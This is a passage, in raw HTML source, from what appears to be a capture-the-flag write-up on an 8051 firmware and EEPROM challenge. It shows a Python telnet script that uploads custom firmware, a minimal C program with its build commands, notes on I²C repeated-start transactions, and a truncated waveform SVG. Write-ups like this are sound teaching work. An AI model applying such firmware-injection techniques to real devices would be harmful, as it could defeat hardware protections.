&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;What&amp;#39;s the length&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;firmware.bin&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Sending payload of length&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;{}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Pro tip: telnetlib mangles special characters, do not waste over an hour&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# debugging that...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sock&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;--- Response&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;To produce a working binary for the 8051 we can use &lt;a href=&quot;http://sdcc.sourceforge.net/&quot;&gt;sdcc&lt;/a&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// The peripheral registers are defined in the original source file&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;CHAROUT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Hi!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;POWEROFF&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt; sdcc firmware.c
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt; objcopy -Iihex -Obinary firmware.ihx firmware.bin &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The EEPROM can store 256 bytes and has 4x64 byte pages that can be locked
separately. Only the second page is locked by the main firmware after storing
the flag there.&lt;/p&gt;

&lt;p&gt;After looking through the source code, I figured out that the EEPROM
uses something called &lt;a href=&quot;https://www.i2c-bus.org/repeated-start-condition/&quot;&gt;repeated start condition&lt;/a&gt;.
Usually, when communicating with an I²C device, we send separate “read” and “write”
transactions. In our case, we have to “chain” writes and reads behind each other,
without having an stop conditions in between.&lt;/p&gt;

&lt;figure id=&quot;flagrom-i2c&quot; class=&quot;wavedrom overflow-centered&quot; style=&quot;max-width: 1100px;width: 1100px;&quot;&gt;&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; height=&quot;80&quot; width=&quot;1100&quot; viewBox=&quot;0 0 1100 80&quot; overflow=&quot;hidden&quot; class=&quot;WaveDrom&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;text{font-size:11pt;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;text-align:center;fill-opacity:1;font-family:Helvetica}.muted{fill:#aaa}.warning{fill:#f6b900}.error{fill:#f60000}.info{fill:#0041c4}.success{fill:#00ab00}.h1{font-size:33pt;font-weight:bold}.h2{font-size:27pt;font-weight:bold}.h3{font-size:20pt;font-weight:bold}.h4{font-size:14pt;font-weight:bold}.h5{font-size:11pt;font-weight:bold}.h6{font-size:8pt;font-weight:bold}.s1{fill:none;stroke:#000;stroke-width:1;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none}.s2{fill:none;stroke:#000;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none}.s3{color:#000;fill:none;stroke:#000;stroke-width:1;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:1, 3;stroke-dashoffset:0;marker:none;visibility:visible;display:inline;overflow:visible;enable-background:accumulate}.s4{color:#000;fill:none;stroke:#000;stroke-width:1;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0;marker:none;visibility:visible;display:inline;overflow:visible}.s5{fill:#fff;stroke:none}.s6{color:#000;fill:#ffffb4;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1px;marker:none;visibility:visible;display:inline;overflow:visible;enable-background:accumulate}.s7{color:#000;fill:#ffe0b9;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1px;marker:none;visibility:visible;display:inline;overflow:visible;enable-background:accumulate}.s8{color:#000;fill:#b9e0ff;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1px;marker:none;visibility:visible;display:inline;overflow:visible;enable-background:accumulate}.s9{fill:#000;fill-opacity:1;stroke:none}.s10{color:#000;fill:#fff;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1px;marker:none;visibility:visible;display:inline;overflow:visible;enable-background:accumulate}.s11{fill:#0041c4;fill-opacity:1;stroke:none}.s12{fill:none;stroke:#0041c4;stroke-width:1;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none}&lt;/style&gt;
&lt;defs&gt;
&lt;g&gt;
&lt;rect y=&quot;15&quot; x=&quot;6&quot; height=&quot;20&quot; width=&quot;20&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,20 0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svgc&quot;&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 3,0 3,-10 3,10 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svgd&quot;&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 5,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 4,16&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m8,20 10,0&quot; class=&quot;s3&quot; /&gt;
&lt;path d=&quot;m0,20 5,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 3,0 C 7,10 10.107603,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 3,0 C 10,10 15,10 20,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svga&quot;&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svgb&quot;&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 3,0 6,10 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M3.5,1.5 5,0&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 3,0 c 4,10 7,20 17,20&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 5,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M8,0 18,0&quot; class=&quot;s3&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 3,0 c 7,10 12,10 17,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 5,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 10,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 15,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 20,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M5,20 20,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,20 20,10&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;m15,20 5,-5&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 4,0 9,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 4,1&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M5,20 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 4,20 9,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 5,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 7,8&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 5,15&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 5,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 10,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 15,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 20,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M5,20 20,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,20 20,10&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;m15,20 5,-5&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 4,0 c 3,10 6,20 16,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 4,1&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 5.5,4.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 6.5,8.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 8,12&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;m5,20 5,-5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;m10,20 2.5,-2.5&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 4,0 C 7,10 10,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 5,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 10,0&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 10,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 6,14&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 4,0 c 6,10 11,10 16,10&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 4,0 C 10,10 15,10 20,10&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 4.5,0.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 6.5,3.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 8.5,6.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 11.5,8.5&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s3&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 10,0&quot; class=&quot;s3&quot; /&gt;
&lt;path d=&quot;m12,20 8,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 5,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 4,16&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s3&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 3,0 C 7,10 10.107603,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,20 3,0 C 10,10 15,10 20,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s3&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 10,0&quot; class=&quot;s3&quot; /&gt;
&lt;path d=&quot;m12,0 8,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M3.5,1.5 5,0&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 3,0 c 4,10 7,20 17,20&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s3&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 3,0 c 7,10 12,10 17,10&quot; class=&quot;s4&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,10 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,10 6,0 3,10 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,10 6,10 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m6,10 3,10 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,10 6,10 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 6.5,8.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,10 7,0 c 3,5 8,10 13,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,10 7,0 C 10,5 15,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,10 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svgi&quot;&gt;
&lt;path d=&quot;m7,-2 -4,0 c -5,0 -5,24 -10,24 l 4,0 C 2,22 2,-2 7,-2 z&quot; class=&quot;s5&quot; /&gt;
&lt;path d=&quot;M-7,22 C -2,22 -2,-2 3,-2&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M-3,22 C 2,22 2,-2 7,-2&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M2.875,0 20,0 20,20 9,20 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 3.5,1.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 4.5,5.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 4,16&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M3,0 20,0 20,20 9,20 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m6,10 3,10 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,10 6,10 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M20,20 0,20 0,0 20,0&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,20 0,0 3,0 9,20&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M0,0 3,0 9,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 0,20 3,20 9,0&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 0,20 3,20 6,10 3,0&quot; class=&quot;s6&quot; /&gt;
